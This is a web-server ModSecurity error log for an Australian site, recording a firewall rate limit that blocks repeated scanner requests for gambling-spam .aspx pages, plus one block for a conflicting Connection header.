[Sun Feb 08 00:46:23.038100 2026] [:error] [pid 46302:tid 46373] [client 62.84.185.60:28088] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYdsX-Lz0c8aDYK5YhbFiAAAARY"]
[Sun Feb 08 00:46:25.635111 2026] [:error] [pid 62641:tid 62662] [client 62.84.185.60:28096] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYdsYS_seVuUK_C4AppctQAAANM"]
[Sun Feb 08 00:46:28.181799 2026] [:error] [pid 46302:tid 46351] [client 62.84.185.60:28108] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYdsZOLz0c8aDYK5YhbFjgAAAQE"]
[Sun Feb 08 00:46:30.885866 2026] [:error] [pid 16829:tid 16865] [client 62.84.185.60:28124] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYdsZgQFls00VxRngXudLgAAAVg"]
[Sun Feb 08 00:46:33.491906 2026] [:error] [pid 16829:tid 16845] [client 62.84.185.60:19378] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYdsaQQFls00VxRngXudNAAAAUQ"]
[Sun Feb 08 00:46:36.203356 2026] [:error] [pid 62341:tid 62410] [client 62.84.185.60:19382] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYdsbJ-t2yekx5OosV4b5AAAAEg"]
[Sun Feb 08 00:46:38.737393 2026] [:error] [pid 62641:tid 62661] [client 62.84.185.60:19386] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYdsbi_seVuUK_C4AppcvwAAANI"]
[Sun Feb 08 00:46:41.403124 2026] [:error] [pid 62340:tid 62378] [client 62.84.185.60:19388] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYdscQp6H49g9bqshit_MgAAAAM"]
[Sun Feb 08 00:46:44.124012 2026] [:error] [pid 62341:tid 62402] [client 62.84.185.60:39028] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYdsdJ-t2yekx5OosV4b7AAAAEA"]
[Sun Feb 08 00:46:46.565041 2026] [:error] [pid 62641:tid 62645] [client 62.84.185.60:39032] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYdsdi_seVuUK_C4AppcyAAAAMI"]
[Sun Feb 08 00:46:49.159758 2026] [:error] [pid 16829:tid 16850] [client 62.84.185.60:39034] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYdseQQFls00VxRngXudSAAAAUk"]
[Sun Feb 08 00:46:51.789384 2026] [:error] [pid 62641:tid 62649] [client 62.84.185.60:3652] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYdsey_seVuUK_C4AppczwAAAMY"]
[Sun Feb 08 00:46:54.513009 2026] [:error] [pid 62342:tid 62443] [client 62.84.185.60:3660] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYdsfuwzANoqjscwU_664AAAAI4"]
[Sun Feb 08 00:46:56.986479 2026] [:error] [pid 46302:tid 46353] [client 62.84.185.60:3666] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYdsgOLz0c8aDYK5YhbFsgAAAQM"]
[Sun Feb 08 00:46:59.672005 2026] [:error] [pid 46302:tid 46363] [client 62.84.185.60:3678] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYdsg-Lz0c8aDYK5YhbFtgAAAQw"]
[Sun Feb 08 00:47:02.524812 2026] [:error] [pid 62641:tid 62657] [client 62.84.185.60:1084] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYdshi_seVuUK_C4Appc2AAAAM4"]
[Sun Feb 08 00:47:05.179565 2026] [:error] [pid 62341:tid 62407] [client 62.84.185.60:1090] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYdsiZ-t2yekx5OosV4cDAAAAEU"]
[Sun Feb 08 00:47:07.790040 2026] [:error] [pid 46302:tid 46368] [client 62.84.185.60:1094] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYdsi-Lz0c8aDYK5YhbFvgAAARE"]
[Sun Feb 08 00:47:10.350872 2026] [:error] [pid 62342:tid 62444] [client 62.84.185.60:1108] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYdsjuwzANoqjscwU_666AAAAI8"]
[Sun Feb 08 00:47:13.013542 2026] [:error] [pid 62340:tid 62391] [client 62.84.185.60:24138] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYdskQp6H49g9bqshit_UgAAABA"]
[Sun Feb 08 00:48:15.393029 2026] [:error] [pid 62340:tid 62379] [client 62.84.185.60:37362] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYdszwp6H49g9bqshit_fwAAAAQ"]
[Sun Feb 08 00:48:18.166358 2026] [:error] [pid 62641:tid 62666] [client 62.84.185.60:37378] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYds0i_seVuUK_C4AppdJgAAANc"]
[Sun Feb 08 00:48:20.704181 2026] [:error] [pid 46302:tid 46370] [client 62.84.185.60:37394] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYds1OLz0c8aDYK5YhbF-gAAARM"]
[Sun Feb 08 00:48:23.404042 2026] [:error] [pid 62342:tid 62431] [client 62.84.185.60:43976] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYds1-wzANoqjscwU_67JwAAAII"]
[Sun Feb 08 00:48:26.017646 2026] [:error] [pid 16829:tid 16845] [client 62.84.185.60:43978] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYds2gQFls00VxRngXudmgAAAUQ"]
[Sun Feb 08 00:48:28.646923 2026] [:error] [pid 62341:tid 62421] [client 62.84.185.60:43992] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYds3J-t2yekx5OosV4cSgAAAFM"]
[Sun Feb 08 00:48:31.164360 2026] [:error] [pid 62342:tid 62433] [client 62.84.185.60:44000] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYds3-wzANoqjscwU_67MQAAAIQ"]
[Sun Feb 08 00:48:33.778117 2026] [:error] [pid 62641:tid 62656] [client 62.84.185.60:21428] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYds4S_seVuUK_C4AppdMAAAAM0"]
[Sun Feb 08 00:48:36.268140 2026] [:error] [pid 62341:tid 62414] [client 62.84.185.60:21436] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYds5J-t2yekx5OosV4cTwAAAEw"]
[Sun Feb 08 00:48:38.989120 2026] [:error] [pid 17001:tid 17033] [client 62.84.185.60:21440] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYds5t0X31QDRSlPKmRhUgAAAZE"]
[Sun Feb 08 00:48:41.700712 2026] [:error] [pid 17001:tid 17020] [client 62.84.185.60:21454] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYds6d0X31QDRSlPKmRhWAAAAYQ"]
[Sun Feb 08 00:48:44.460429 2026] [:error] [pid 16829:tid 16859] [client 62.84.185.60:61330] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYds7AQFls00VxRngXudqQAAAVI"]
[Sun Feb 08 00:48:47.249383 2026] [:error] [pid 62341:tid 62413] [client 62.84.185.60:61332] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYds75-t2yekx5OosV4cWAAAAEs"]
[Sun Feb 08 00:48:49.758019 2026] [:error] [pid 62641:tid 62652] [client 62.84.185.60:61346] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYds8S_seVuUK_C4AppdOAAAAMk"]
[Sun Feb 08 00:48:52.432993 2026] [:error] [pid 62641:tid 62661] [client 62.84.185.60:47632] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYds9C_seVuUK_C4AppdOwAAANI"]
[Sun Feb 08 00:48:55.079042 2026] [:error] [pid 17001:tid 17026] [client 62.84.185.60:47636] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYds990X31QDRSlPKmRhaAAAAYo"]
[Sun Feb 08 00:48:57.818933 2026] [:error] [pid 62342:tid 62430] [client 62.84.185.60:47640] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYds-ewzANoqjscwU_67SgAAAIE"]
[Sun Feb 08 00:49:00.618892 2026] [:error] [pid 62342:tid 62443] [client 62.84.185.60:47652] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYds_OwzANoqjscwU_67TAAAAI4"]
[Sun Feb 08 00:49:03.394509 2026] [:error] [pid 62342:tid 62433] [client 62.84.185.60:46326] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYds_-wzANoqjscwU_67UgAAAIQ"]
[Sun Feb 08 00:49:06.121841 2026] [:error] [pid 16829:tid 16846] [client 62.84.185.60:46338] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYdtAgQFls00VxRngXudyAAAAUU"]
[Sun Feb 08 00:49:08.904925 2026] [:error] [pid 17001:tid 17035] [client 62.84.185.60:46348] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYdtBN0X31QDRSlPKmRhewAAAZM"]
[Sun Feb 08 00:50:10.925978 2026] [:error] [pid 46302:tid 46371] [client 62.84.185.60:35898] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYdtQuLz0c8aDYK5YhbGYgAAARQ"]
[Sun Feb 08 00:50:13.822866 2026] [:error] [pid 17001:tid 17038] [client 62.84.185.60:39888] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYdtRd0X31QDRSlPKmRhzgAAAZY"]
[Sun Feb 08 00:50:16.409435 2026] [:error] [pid 62341:tid 62408] [client 62.84.185.60:39902] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYdtSJ-t2yekx5OosV4cmQAAAEY"]
[Sun Feb 08 00:50:19.115885 2026] [:error] [pid 16829:tid 16864] [client 62.84.185.60:39906] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYdtSwQFls00VxRngXueIQAAAVc"]
[Sun Feb 08 00:50:21.921470 2026] [:error] [pid 62341:tid 62420] [client 62.84.185.60:35258] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYdtTZ-t2yekx5OosV4coAAAAFI"]
[Sun Feb 08 00:50:24.521644 2026] [:error] [pid 62342:tid 62433] [client 62.84.185.60:35274] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYdtUOwzANoqjscwU_67kgAAAIQ"]
[Sun Feb 08 00:50:27.120062 2026] [:error] [pid 62342:tid 62430] [client 62.84.185.60:35282] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYdtU-wzANoqjscwU_67lQAAAIE"]
[Sun Feb 08 00:50:29.763847 2026] [:error] [pid 62340:tid 62396] [client 62.84.185.60:35288] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYdtVQp6H49g9bqshit_7gAAABU"]
[Sun Feb 08 00:50:32.631223 2026] [:error] [pid 62340:tid 62380] [client 62.84.185.60:5280] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYdtWAp6H49g9bqshit_8QAAAAU"]
[Sun Feb 08 00:50:35.362831 2026] [:error] [pid 46302:tid 46351] [client 62.84.185.60:5284] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYdtW-Lz0c8aDYK5YhbGfAAAAQE"]
[Sun Feb 08 00:50:38.187299 2026] [:error] [pid 62641:tid 62647] [client 62.84.185.60:5286] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYdtXi_seVuUK_C4AppdowAAAMQ"]
[Sun Feb 08 00:50:40.844255 2026] [:error] [pid 17001:tid 17033] [client 62.84.185.60:5298] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYdtYN0X31QDRSlPKmRh9gAAAZE"]
[Sun Feb 08 00:50:43.520848 2026] [:error] [pid 46302:tid 46374] [client 62.84.185.60:41086] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYdtY-Lz0c8aDYK5YhbGggAAARc"]
[Sun Feb 08 02:10:11.106565 2026] [:error] [pid 46302:tid 46350] [client 60.188.57.0:36159] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYeAA-Lz0c8aDYK5YhbYPAAAAQA"]
